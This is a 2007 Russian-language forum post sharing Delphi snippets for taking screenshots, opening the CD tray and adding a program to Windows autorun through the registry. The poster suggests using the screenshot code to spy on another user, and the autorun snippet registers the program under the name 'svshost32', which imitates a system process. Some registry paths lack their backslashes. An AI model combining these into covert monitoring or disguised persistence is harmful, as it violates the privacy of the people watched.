IPB

Здравствуйте, гость ( Вход | Регистрация )

> Delphi - парачка кадофф
@ндрюха!
сообщение Mar 18 2007, 23:58
Сообщение #1


Advanced Member
***

Группа: Members
Сообщений: 168
Регистрация: 13.9.2006
Пользователь №: 26251



Этот код делает скриншот вашего экрана и сохраняет его в файл:
В uses добавляем JPEG

Код:
var
bmp: TBitmap;
DC: HDC;
Jpg: TJpegImage;
Begin
Try
bmp:= TBitmap.Create;
Jpg:= TJpegImage.Create;
bmp.Height:=Screen.Height;
bmp.Width:=Screen.Width;
DC:=GetDC(0);
bitblt(bmp.Canvas.Handle, 0, 0, Screen.Width, Screen.Height,
DC, 0, 0, SRCCOPY);
Jpg.Assign(Bmp);
Jpg.SaveToFile('c:test.jpg');
ReleaseDC(0, DC);
finally
Bmp.Free;
jpg.Free;
End;
End;

С его помощью можете потрудиться сделать например программу отслежки за вторым пользователем (IMG:http://forum.iseekyou.im/style_emoticons/default/smile.gif)

Если кому нада - этот код так же делает скриншот только он не в файл его сохраняет а в буфер обмена - одно и тоже что нажать принт скрин только програмно (IMG:http://forum.iseekyou.im/style_emoticons/default/smile.gif)

Код:
procedure CopyScreenToClipboard;
var dx,dy : integer;
hSourcDC,hDestDC,
hBM, hbmOld : THandle;
begin
dx := screen.width;
dy := screen.height;
hSourcDC := CreateDC('DISPLAY',nil,nil,nil);
hDestDC := CreateCompatibleDC(hSourcDC);
hBM := CreateCompatibleBitmap(hSourcDC, dx, dy);
hbmold:= SelectObject(hDestDC, hBM);
BitBlt(hDestDC, 0, 0, dx, dy, hSourcDC, 0, 0, SRCCopy);
OpenClipBoard(form1.handle);
EmptyClipBoard;
SetClipBoardData(CF_Bitmap, hBM);
CloseClipBoard;
SelectObject(hDestDC,hbmold);
DeleteObject(hbm);
DeleteDC(hDestDC);
DeleteDC(hSourcDC);
end;

----
Так же кому нада для разнообразия.
Следующий код открывает дверцу CD-ROM'a

в uses добавляем Mmsystem

Код:
mciSendString('Set cdaudio Door Open Wait', nil, 0, handle);

А этот код закрывает лоток:
так же в uses MMSystem (если нету)
:
mciSendString('Set cdaudio Door closed Wait', nil, 0, handle);



А этот код добавляет вашу программу в автозапуск, притом в автозагрузке ее не будет - в реестре добавляет:
var
Registry:TREgistry;
begin
Registry:=TRegistry.Create;
Registry.RootKey:=hkey_local_machine;
Registry.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun', true);
Registry.WriteString('svshost32', fname);
Registry.CloseKey;
Registry.Free;

end;


ну вобщем это так почуть чуть если ктот чтото надумает написать. Если будут интересные пополнения выложу (IMG:http://forum.iseekyou.im/style_emoticons/default/wink.gif)
Go to the top of the page
 
+Quote Post

Сообщений в этой теме


Reply to this topicStart new topic
5 чел. читают эту тему (гостей: 5, скрытых пользователей: 0)
Пользователей: 0

 



Текстовая версия Сейчас: 4th January 2025 - 11:29